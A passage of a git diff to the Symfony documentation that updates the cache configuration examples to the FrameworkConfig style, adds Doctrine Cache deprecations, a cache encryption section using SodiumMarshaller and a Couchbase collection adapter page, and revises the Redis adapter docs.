@@ -30,6 +30,11 @@ The following example shows a typical usage of the cache::
 Symfony supports Cache Contracts, PSR-6/16 and Doctrine Cache interfaces.
 You can read more about these at the :doc:`component documentation </components/cache>`.
 
+.. deprecated:: 5.4
+
+    Support for Doctrine Cache was deprecated in Symfony 5.4
+    and it will be removed in Symfony 6.0.
+
 .. _cache-configuration-with-frameworkbundle:
 
 Configuring Cache with FrameworkBundle
@@ -85,12 +90,15 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'app' => 'cache.adapter.filesystem',
-                'system' => 'cache.adapter.system',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->app('cache.adapter.filesystem')
+                ->system('cache.adapter.system')
+            ;
+        };
+
 
 The Cache component comes with a series of adapters pre-configured:
 
@@ -165,23 +173,31 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                // Only used with cache.adapter.filesystem
-                'directory' => '%kernel.cache_dir%/pools',
+        use Symfony\Config\FrameworkConfig;
 
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                // Only used with cache.adapter.filesystem
+                ->directory('%kernel.cache_dir%/pools')
                 // Service: cache.doctrine
-                'default_doctrine_provider' => 'app.doctrine_cache',
+                ->defaultDoctrineProvider('app.doctrine_cache')
                 // Service: cache.psr6
-                'default_psr6_provider' => 'app.my_psr6_service',
+                ->defaultPsr6Provider('app.my_psr6_service')
                 // Service: cache.redis
-                'default_redis_provider' => 'redis://localhost',
+                ->defaultRedisProvider('redis://localhost')
                 // Service: cache.memcached
-                'default_memcached_provider' => 'memcached://localhost',
+                ->defaultMemcachedProvider('memcached://localhost')
                 // Service: cache.pdo
-                'default_pdo_provider' => 'doctrine.dbal.default_connection',
-            ],
-        ]);
+                ->defaultPdoProvider('doctrine.dbal.default_connection')
+            ;
+        };
+
+.. deprecated:: 5.4
+
+    The ``default_doctrine_provider`` option was deprecated in Symfony 5.4 and
+    it will be removed in Symfony 6.0.
+
+.. _cache-create-pools:
 
 Creating Custom (Namespaced) Pools
 ----------------------------------
@@ -265,49 +281,42 @@ You can also create more customized pools:
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'default_memcached_provider' => 'memcached://localhost',
-                'pools' => [
-                    // creates a "custom_thing.cache" service
-                    // autowireable via "CacheInterface $customThingCache"
-                    // uses the "app" cache configuration
-                    'custom_thing.cache' => [
-                        'adapter' => 'cache.app',
-                    ],
-
-                    // creates a "my_cache_pool" service
-                    // autowireable via "CacheInterface $myCachePool"
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.filesystem',
-                    ],
-
-                    // uses the default_memcached_provider from above
-                    'acme.cache' => [
-                        'adapter' => 'cache.adapter.memcached',
-                    ],
-
-                    // control adapter's configuration
-                    'foobar.cache' => [
-                        'adapter' => 'cache.adapter.memcached',
-                        'provider' => 'memcached://user:password@example.com',
-                    ],
-
-                    // uses the "foobar.cache" pool as its backend but controls
-                    // the lifetime and (like all pools) has a separate cache namespace
-                    'short_cache' => [
-                        'adapter' => 'foobar.cache',
-                        'default_lifetime' => 60,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $cache = $framework->cache();
+            $cache->defaultMemcachedProvider('memcached://localhost');
+
+            // creates a "custom_thing.cache" service
+            // autowireable via "CacheInterface $customThingCache"
+            // uses the "app" cache configuration
+            $cache->pool('custom_thing.cache')
+                ->adapters(['cache.app']);
+
+            // creates a "my_cache_pool" service
+            // autowireable via "CacheInterface $myCachePool"
+            $cache->pool('my_cache_pool')
+                ->adapters(['cache.adapter.filesystem']);
+
+            // uses the default_memcached_provider from above
+            $cache->pool('acme.cache')
+                ->adapters(['cache.adapter.memcached']);
+
+             // control adapter's configuration
+            $cache->pool('foobar.cache')
+                ->adapters(['cache.adapter.memcached'])
+                ->provider('memcached://user:password@example.com');
+
+            $cache->pool('short_cache')
+                ->adapters(['foobar.cache'])
+                ->defaultLifetime(60);
+        };
 
 Each pool manages a set of independent cache keys: keys from different pools
 *never* collide, even if they share the same backend. This is achieved by prefixing
 keys with a namespace that's generated by hashing the name of the pool, the name
-of the compiled container class and a :ref:`configurable seed <reference-cache-prefix-seed>`
-that defaults to the project directory.
+of the cache adapter class and a :ref:`configurable seed <reference-cache-prefix-seed>`
+that defaults to the project directory and compiled container class.
 
 Each custom pool becomes a service whose service ID is the name of the pool
 (e.g. ``custom_thing.cache``). An autowiring alias is also created for each pool
@@ -372,9 +381,9 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             return function(ContainerConfigurator $configurator) {
                 $services = $configurator->services();
 
-                $services->set('app.cace.adapter.redis')
+                $services->set('app.cache.adapter.redis')
                     ->parent('cache.adapter.redis')
-                    ->tag('cache.pool', ['namespace' => 'my_custom_namespace'])
+                    ->tag('cache.pool', ['namespace' => 'my_custom_namespace']);
             };
 
 Custom Provider Options
@@ -440,26 +449,25 @@ and use that when configuring the pool.
 
         // config/packages/cache.php
         use Symfony\Component\Cache\Adapter\RedisAdapter;
-
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'cache.my_redis' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'provider' => 'app.my_custom_redis_provider',
-                    ],
-                ],
-            ],
-        ]);
-
-        $container->register('app.my_custom_redis_provider', \Redis::class)
-            ->setFactory([RedisAdapter::class, 'createConnection'])
-            ->addArgument('redis://localhost')
-            ->addArgument([
-                'retry_interval' => 2,
-                'timeout' => 10
-            ])
-        ;
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('cache.my_redis')
+                    ->adapters(['cache.adapter.redis'])
+                    ->provider('app.my_custom_redis_provider');
+
+
+            $container->register('app.my_custom_redis_provider', \Redis::class)
+                ->setFactory([RedisAdapter::class, 'createConnection'])
+                ->addArgument('redis://localhost')
+                ->addArgument([
+                    'retry_interval' => 2,
+                    'timeout' => 10
+                ])
+            ;
+        };
 
 Creating a Cache Chain
 ----------------------
@@ -519,20 +527,19 @@ Symfony stores the item automatically in all the missing pools.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'default_lifetime' => 31536000, // One year
-                        'adapters' => [
-                            'cache.adapter.array',
-                            'cache.adapter.apcu',
-                            ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('my_cache_pool')
+                    ->defaultLifetime(31536000) // One year
+                    ->adapters([
+                        'cache.adapter.array',
+                        'cache.adapter.apcu',
+                        ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'],
+                    ])
+            ;
+        };
 
 Using Cache Tags
 ----------------
@@ -611,16 +618,15 @@ to enable this feature. This could be added by using the following configuration
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'tags' => true,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('my_cache_pool')
+                    ->tags(true)
+                    ->adapters(['cache.adapter.redis'])
+            ;
+        };
 
 Tags are stored in the same pool by default. This is good in most scenarios. But
 sometimes it might be better to store the tags in a different pool. That could be
@@ -661,19 +667,20 @@ achieved by specifying the adapter.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'tags' => 'tag_pool',
-                    ],
-                    'tag_pool' => [
-                        'adapter' => 'cache.adapter.apcu',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('my_cache_pool')
+                    ->tags('tag_pool')
+                    ->adapters(['cache.adapter.redis'])
+            ;
+
+            $framework->cache()
+                ->pool('tag_pool')
+                    ->adapters(['cache.adapter.apcu'])
+            ;
+        };
 
 .. note::
 
@@ -719,3 +726,89 @@ Clear all caches everywhere:
 .. code-block:: terminal
 
     $ php bin/console cache:pool:clear cache.global_clearer
+
+Encrypting the Cache
+--------------------
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`
+    class was introduced in Symfony 5.1.
+
+To encrypt the cache using ``libsodium``, you can use the
+:class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`.
+
+First, you need to generate a secure key and add it to your :doc:`secret
+store </configuration/secrets>` as ``CACHE_DECRYPTION_KEY``:
+
+.. code-block:: terminal
+
+    $ php -r 'echo base64_encode(sodium_crypto_box_keypair());'
+
+Then, register the ``SodiumMarshaller`` service using this key:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/cache.yaml
+
+        # ...
+        services:
+            Symfony\Component\Cache\Marshaller\SodiumMarshaller:
+                decorates: cache.default_marshaller
+                arguments:
+                    - ['%env(base64:CACHE_DECRYPTION_KEY)%']
+                    # use multiple keys in order to rotate them
+                    #- ['%env(base64:CACHE_DECRYPTION_KEY)%', '%env(base64:OLD_CACHE_DECRYPTION_KEY)%']
+                    - '@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'
+
+    .. code-block:: xml
+
+        <!-- config/packages/cache.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+
+            <services>
+                <service id="Symfony\Component\Cache\Marshaller\SodiumMarshaller" decorates="cache.default_marshaller">
+                    <argument type="collection">
+                        <argument>env(base64:CACHE_DECRYPTION_KEY)</argument>
+                        <!-- use multiple keys in order to rotate them -->
+                        <!-- <argument>env(base64:OLD_CACHE_DECRYPTION_KEY)</argument> -->
+                    </argument>
+                    <argument type="service" id="Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/cache.php
+        use Symfony\Component\Cache\Marshaller\SodiumMarshaller;
+        use Symfony\Component\DependencyInjection\ChildDefinition;
+        use Symfony\Component\DependencyInjection\Reference;
+
+        // ...
+        $container->setDefinition(SodiumMarshaller::class, new ChildDefinition('cache.default_marshaller'))
+            ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)'])
+            // use multiple keys in order to rotate them
+            //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
+            ->addArgument(new Reference(SodiumMarshaller::class.'.inner'));
+
+.. caution::
+
+    This will encrypt the values of the cache items, but not the cache keys. Be
+    careful not the leak sensitive data in the keys.
+
+When configuring multiple keys, the first key will be used for reading and
+writing, and the additional key(s) will only be used for reading. Once all
+cache items encrypted with the old key have expired, you can remove
+``OLD_CACHE_DECRYPTION_KEY`` completely.
diff --git a/components/asset.rst b/components/asset.rst
index 48e51754449..5044ef2dab9 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -51,6 +51,8 @@ Installation
 Usage
 -----
 
+.. _asset-packages:
+
 Asset Packages
 ~~~~~~~~~~~~~~
 
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index b73783f95e0..9648afc31e4 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -60,7 +60,7 @@ This method accepts a request and should return a response::
 For a simple implementation of a browser based on the HTTP layer, have a look
 at the :class:`Symfony\\Component\\BrowserKit\\HttpBrowser` provided by
 :ref:`this component <component-browserkit-external-requests>`. For an implementation based
-on ``HttpKernelInterface``, have a look at the :class:`Symfony\\Component\\HttpKernel\\Client`
+on ``HttpKernelInterface``, have a look at the :class:`Symfony\\Component\\HttpKernel\\HttpClientKernel`
 provided by the :doc:`HttpKernel component </components/http_kernel>`.
 
 Making Requests
@@ -80,6 +80,20 @@ The value returned by the ``request()`` method is an instance of the
 :doc:`DomCrawler component </components/dom_crawler>`, which allows accessing
 and traversing HTML elements programmatically.
 
+The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::jsonRequest` method,
+which defines the same arguments as the ``request()`` method, is a shortcut to
+convert the request parameters into a JSON string and set the needed HTTP headers::
+
+    use Acme\Client;
+
+    $client = new Client();
+    // this encodes parameters as JSON and sets the required CONTENT_TYPE and HTTP_ACCEPT headers
+    $crawler = $client->jsonRequest('GET', '/', ['some_parameter' => 'some_value']);
+
+.. versionadded:: 5.3
+
+    The ``jsonRequest()`` method was introduced in Symfony 5.3.
+
 The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest` method,
 which defines the same arguments as the ``request()`` method, is a shortcut to
 make AJAX requests::
diff --git a/components/cache.rst b/components/cache.rst
index a620206682f..29c1f0fd42b 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -20,6 +20,11 @@ The Cache Component
     Doctrine caches. See :doc:`/components/cache/psr6_psr16_adapters` and
     :doc:`/components/cache/adapters/doctrine_adapter`.
 
+    .. deprecated:: 5.4
+
+        Support for Doctrine Cache was deprecated in Symfony 5.4
+        and it will be removed in Symfony 6.0.
+
 Installation
 ------------
 
@@ -90,7 +95,10 @@ generate and return the value::
     Use cache tags to delete more than one key at the time. Read more at
     :doc:`/components/cache/cache_invalidation`.
 
-The Cache Contracts also comes with built in `Stampede prevention`_. This will
+Stampede Prevention
+~~~~~~~~~~~~~~~~~~~
+
+The Cache Contracts also come with built in `Stampede prevention`_. This will
 remove CPU spikes at the moments when the cache is cold. If an example application
 spends 5 seconds to compute data that is cached for 1 hour and this data is accessed
 10 times every second, this means that you mostly have cache hits and everything
@@ -192,6 +200,34 @@ Now you can create, retrieve, update and delete items using this cache pool::
 
 For a list of all of the supported adapters, see :doc:`/components/cache/cache_pools`.
 
+Marshalling (Serializing) Data
+------------------------------
+
+.. note::
+
+    `Marshalling`_ and `serializing`_ are similar concepts. Serializing is the
+    process of translating an object state into a format that can be stored
+    (e.g. in a file). Marshalling is the process of translating both the object
+    state and its codebase into a format that can be stored or transmitted.
+
+    Unmarshalling an object produces a copy of the original object, possibly by
+    automatically loading the class definitions of the object.
+
+Symfony uses *marshallers* (classes which implement
+:class:`Symfony\\Component\\Cache\\Marshaller\\MarshallerInterface`) to process
+the cache items before storing them.
+
+The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` uses PHP's
+``serialize()`` or ``igbinary_serialize()`` if the `Igbinary extension`_ is installed.
+There are other *marshallers* that can encrypt or compress the data before storing it::
+
+    use Symfony\Component\Cache\Adapter\RedisAdapter;
+    use Symfony\Component\Cache\DefaultMarshaller;
+    use Symfony\Component\Cache\DeflateMarshaller;
+
+    $marshaller = new DeflateMarshaller(new DefaultMarshaller());
+    $cache = new RedisAdapter(new \Redis(), 'namespace', 0, $marshaller);
+
 Advanced Usage
 --------------
 
@@ -205,3 +241,6 @@ Advanced Usage
 .. _`Cache Contracts`: https://github.com/symfony/contracts/blob/master/Cache/CacheInterface.php
 .. _`Stampede prevention`: https://en.wikipedia.org/wiki/Cache_stampede
 .. _Probabilistic early expiration: https://en.wikipedia.org/wiki/Cache_stampede#Probabilistic_early_expiration
+.. _`Marshalling`: https://en.wikipedia.org/wiki/Marshalling_(computer_science)
+.. _`serializing`: https://en.wikipedia.org/wiki/Serialization
+.. _`Igbinary extension`: https://github.com/igbinary/igbinary
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 7043a7c3e95..9ab637eb38b 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -1,6 +1,6 @@
 .. index::
     single: Cache Pool
-    single: Couchabase Cache
+    single: Couchbase Cache
 
 .. _couchbase-adapter:
 
@@ -22,7 +22,7 @@ is also available.
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``2.6`` or
-    greater of the `Couchbase PHP extension`_ is required for this adapter.
+    less than 3.0 of the `Couchbase PHP extension`_ is required for this adapter.
 
 This adapter expects a `Couchbase Bucket`_ instance to be passed as the first
 parameter. A namespace and default cache lifetime can optionally be passed as
@@ -32,17 +32,17 @@ the second and third parameters::
 
     $cache = new CouchbaseBucketAdapter(
         // the client object that sets options and adds the server instance(s)
-        \CouchbaseBucket $client,
+        $client,
 
         // the name of bucket
-        string $bucket,
+        $bucket,
 
         // a string prefixed to the keys of the items stored in this cache
-        $namespace = '',
+        $namespace,
 
         // the default lifetime (in seconds) for cache items that do not define their
         // own lifetime, with a value 0 causing items to be stored indefinitely
-        $defaultLifetime = 0,
+        $defaultLifetime
     );
 
 
@@ -60,7 +60,7 @@ helper method allows creating and configuring a `Couchbase Bucket`_ class instan
         'couchbase://localhost'
         // the DSN can include config options (pass them as a query string):
         // 'couchbase://localhost:11210?operationTimeout=10'
-        // 'couchbase://localhost:11210?operationTimeout=10&configTimout=20'
+        // 'couchbase://localhost:11210?operationTimeout=10&configTimeout=20'
     );
 
     // pass an array of DSN strings to register multiple servers with the client
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
new file mode 100644
index 00000000000..f3aff72e6ac
--- /dev/null
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -0,0 +1,147 @@
+.. index::
+    single: Cache Pool
+    single: Couchabase Cache
+
+.. _couchbase-collection-adapter:
+
+Couchbase Cache Adapter
+=======================
+
+.. versionadded:: 5.4
+
+    The Couchbase Cache Adapter was introduced in Symfony 5.4.
+
+This adapter stores the values in-memory using one (or more) `Couchbase server`_
+instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
+:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
+shared memory; you can store contents independent of your PHP environment.
+The ability to utilize a cluster of servers to provide redundancy and/or fail-over
+is also available.
+
+.. caution::
+
+    **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
+    must be installed, active, and running to use this adapter. Version ``3.0`` or
+    greater of the `Couchbase PHP extension`_ is required for this adapter.
+
+This adapter expects a `Couchbase Collection`_ instance to be passed as the first
+parameter. A namespace and default cache lifetime can optionally be passed as
+the second and third parameters::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter;
+
+    $cache = new CouchbaseCollectionAdapter(
+        // the client object that sets options and adds the server instance(s)
+        $client,
+
+        // a string prefixed to the keys of the items stored in this cache
+        $namespace,
+
+        // the default lifetime (in seconds) for cache items that do not define their
+        // own lifetime, with a value 0 causing items to be stored indefinitely
+        $defaultLifetime
+    );
+
+
+Configure the Connection
+------------------------
+
+The :method:`Symfony\\Component\\Cache\\Adapter\\CouchbaseCollectionAdapter::createConnection`
+helper method allows creating and configuring a `Couchbase Collection`_ class instance using a
+`Data Source Name (DSN)`_ or an array of DSNs::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter;
+
+    // pass a single DSN string to register a single server with the client
+    $client = CouchbaseCollectionAdapter::createConnection(
+        'couchbase://localhost'
+        // the DSN can include config options (pass them as a query string):
+        // 'couchbase://localhost:11210?operationTimeout=10'
+        // 'couchbase://localhost:11210?operationTimeout=10&configTimout=20'
+    );
+
+    // pass an array of DSN strings to register multiple servers with the client
+    $client = CouchbaseCollectionAdapter::createConnection([
+        'couchbase://10.0.0.100',
+        'couchbase://10.0.0.101',
+        'couchbase://10.0.0.102',
+        // etc...
+    ]);
+
+    // a single DSN can define multiple servers using the following syntax:
+    // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':'
+    $client = CouchbaseCollectionAdapter::createConnection(
+        'couchbase:?host[localhost]&host[localhost:12345]'
+    );
+
+
+Configure the Options
+---------------------
+
+The :method:`Symfony\\Component\\Cache\\Adapter\\CouchbaseCollectionAdapter::createConnection`
+helper method also accepts an array of options as its second argument. The
+expected format is an associative array of ``key => value`` pairs representing
+option names and their respective values::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter;
+
+    $client = CouchbaseCollectionAdapter::createConnection(
+        // a DSN string or an array of DSN strings
+        [],
+
+        // associative array of configuration options
+        [
+            'username' => 'xxxxxx',
+            'password' => 'yyyyyy',
+            'configTimeout' => '100',
+        ]
+    );
+
+Available Options
+~~~~~~~~~~~~~~~~~
+
+``username`` (type: ``string``)
+    Username for connection ``CouchbaseCluster``.
+
+``password`` (type: ``string``)
+    Password of connection ``CouchbaseCluster``.
+
+``operationTimeout`` (type: ``int``, default: ``2500000``)
+    The operation timeout (in microseconds) is the maximum amount of time the library will
+    wait for an operation to receive a response before invoking its callback with a failure status.
+
+``configTimeout`` (type: ``int``, default: ``5000000``)
+    How long (in microseconds) the client will wait to obtain the initial configuration.
+
+``configNodeTimeout`` (type: ``int``, default: ``2000000``)
+    Per-node configuration timeout (in microseconds).
+
+``viewTimeout`` (type: ``int``, default: ``75000000``)
+    The I/O timeout (in microseconds) for HTTP requests to Couchbase Views API.
+
+``httpTimeout`` (type: ``int``, default: ``75000000``)
+    The I/O timeout (in microseconds) for HTTP queries (management API).
+
+``configDelay`` (type: ``int``, default: ``10000``)
+    Config refresh throttling
+    Modify the amount of time (in microseconds) before the configuration error threshold will forcefully be set to its maximum number forcing a configuration refresh.
+
+``htconfigIdleTimeout`` (type: ``int``, default: ``4294967295``)
+    Idling/Persistence for HTTP bootstrap (in microseconds).
+
+``durabilityInterval`` (type: ``int``, default: ``100000``)
+    The time (in microseconds) the client will wait between repeated probes to a given server.
+
+``durabilityTimeout`` (type: ``int``, default: ``5000000``)
+    The time (in microseconds) the client will spend sending repeated probes to a given key's vBucket masters and replicas before they are deemed not to have satisfied the durability requirements.
+
+.. tip::
+
+    Reference the `Couchbase Collection`_ extension's `predefined constants`_ documentation
+    for additional information about the available options.
+
+.. _`Couchbase PHP extension`: https://docs.couchbase.com/sdk-api/couchbase-php-client/namespaces/couchbase.html
+.. _`predefined constants`: https://docs.couchbase.com/sdk-api/couchbase-php-client/classes/Couchbase-Bucket.html
+.. _`Couchbase server`: https://couchbase.com/
+.. _`Couchbase Collection`: https://docs.couchbase.com/sdk-api/couchbase-php-client/classes/Couchbase-Collection.html
+.. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
index 198ae19338c..59c89c1c135 100644
--- a/components/cache/adapters/doctrine_adapter.rst
+++ b/components/cache/adapters/doctrine_adapter.rst
@@ -7,6 +7,11 @@
 Doctrine Cache Adapter
 ======================
 
+.. deprecated:: 5.4
+
+    The ``DoctrineAdapter`` and ``DoctrineProvider`` classes were deprecated in Symfony 5.4
+    and it will be removed in Symfony 6.0.
+
 This adapter wraps any class extending the `Doctrine Cache`_ abstract provider, allowing
 you to use these providers in your application as if they were Symfony Cache adapters.
 
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index c4db3a7fb76..2a168d2522e 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -45,16 +45,13 @@ and cache root path as constructor parameters::
     choices. If throughput is paramount, the in-memory adapters
     (:ref:`Apcu <apcu-adapter>`, :ref:`Memcached <memcached-adapter>`, and
     :ref:`Redis <redis-adapter>`) or the database adapters
-    (:ref:`Doctrine <doctrine-adapter>` and :ref:`PDO <pdo-doctrine-adapter>`)
-    are recommended.
+    (:ref:`PDO <pdo-doctrine-adapter>`) are recommended.
 
 .. note::
 
-    Since Symfony 3.4, this adapter implements
-    :class:`Symfony\\Component\\Cache\\PruneableInterface`, enabling manual
-    :ref:`pruning of expired cache items <component-cache-cache-pool-prune>` by
-    calling its ``prune()`` method.
-
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    enabling manual :ref:`pruning of expired cache items <component-cache-cache-pool-prune>`
+    by calling its ``prune()`` method.
 
 .. _filesystem-tag-aware-adapter:
 
diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index 95161637b25..009ead59cbd 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -120,7 +120,6 @@ option names and their respective values::
 
         // associative array of configuration options
         [
-            'compression' => true,
             'libketama_compatible' => true,
             'serializer' => 'igbinary',
         ]
@@ -139,17 +138,6 @@ Available Options
     server(s). Any action that retrieves data, quits the connection, or closes
     down the connection will cause the buffer to be committed.
 
-``compression`` (type: ``bool``, default: ``true``)
-    Enables or disables payload compression, where item values longer than 100
-    bytes are compressed during storage and decompressed during retrieval.
-
-``compression_type`` (type: ``string``)
-    Specifies the compression method used on value payloads. when the
-    **compression** option is enabled.
-
-    Valid option values include ``fastlz`` and ``zlib``, with a default value
-    that *varies based on flags used at compilation*.
-
 ``connect_timeout`` (type: ``int``, default: ``1000``)
     Specifies the timeout (in milliseconds) of socket connection operations when
     the ``no_block`` option is enabled.
diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index 841071dc586..b840da76de7 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -44,7 +44,7 @@ your code.
 
 .. note::
 
-    Since Symfony 3.4, this adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
     allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
     calling its ``prune()`` method.
 
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index 5bec5715801..fcb5bcfffd1 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -63,7 +63,7 @@ directory path as constructor arguments::
 
 .. note::
 
-    Since Symfony 3.4, this adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
     allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
     calling its ``prune()`` method.
 
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 64bf7ab9e4c..6ba77c2f35a 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -62,7 +62,8 @@ helper method allows creating and configuring the Redis client class instance us
     );
 
 The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a
-password and a database index.
+password and a database index. To enable TLS for connections, the scheme ``redis`` must be
+replaced by ``rediss`` (the second ``s`` means "secure").
 
 .. note::
 
@@ -70,7 +71,7 @@ password and a database index.
 
     .. code-block:: text
 
-        redis://[pass@][ip|host|socket[:port]][/db-index]
+        redis[s]://[pass@][ip|host|socket[:port]][/db-index]
 
 Below are common examples of valid DSNs showing a combination of available values::
 
@@ -95,8 +96,8 @@ Below are common examples of valid DSNs showing a combination of available value
     );
 
 `Redis Sentinel`_, which provides high availability for Redis, is also supported
-when using the Predis library. Use the ``redis_sentinel`` parameter to set the
-name of your service group::
+when using the PHP Redis Extension v5.2+ or the Predis library. Use the ``redis_sentinel``
+parameter to set the name of your service group::
 
     RedisAdapter::createConnection(
         'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
@@ -123,7 +124,6 @@ array of ``key => value`` pairs representing option names and their respective v
 
         // associative array of configuration options
         [
-            'compression' => true,
             'lazy' => false,
             'persistent' => 0,
             'persistent_id' => null,
@@ -143,10 +143,6 @@ Available Options
     If none is specified, it will return ``\Redis`` if the ``redis`` extension is
     available, and ``\Predis\Client`` otherwise.
 
-``compression`` (type: ``bool``, default: ``true``)
-    Enables or disables compression of items. This requires phpredis v4 or higher with
-    LZF support enabled.
-
 ``lazy`` (type: ``bool``, default: ``false``)
     Enables or disables lazy connections to the backend. It's ``false`` by
     default when using this as a stand-alone component and ``true`` by default
@@ -193,6 +189,23 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym
     $client = RedisAdapter::createConnection('redis://localhost');
     $cache = new RedisTagAwareAdapter($client);
 
+Configuring Redis
+~~~~~~~~~~~~~~~~~
+
+When using Redis as cache, you should configure the ``maxmemory`` and ``maxmemory-policy``
+settings. By setting ``maxmemory``, you limit how much memory Redis is allowed to consume.
+If the amount is too low, Redis will drop entries that would still be useful and you benefit
+less from your cache. Setting the ``maxmemory-policy`` to ``allkeys-lru`` tells Redis that
+it is ok to drop data when it runs out of memory, and to first drop the oldest entries (least
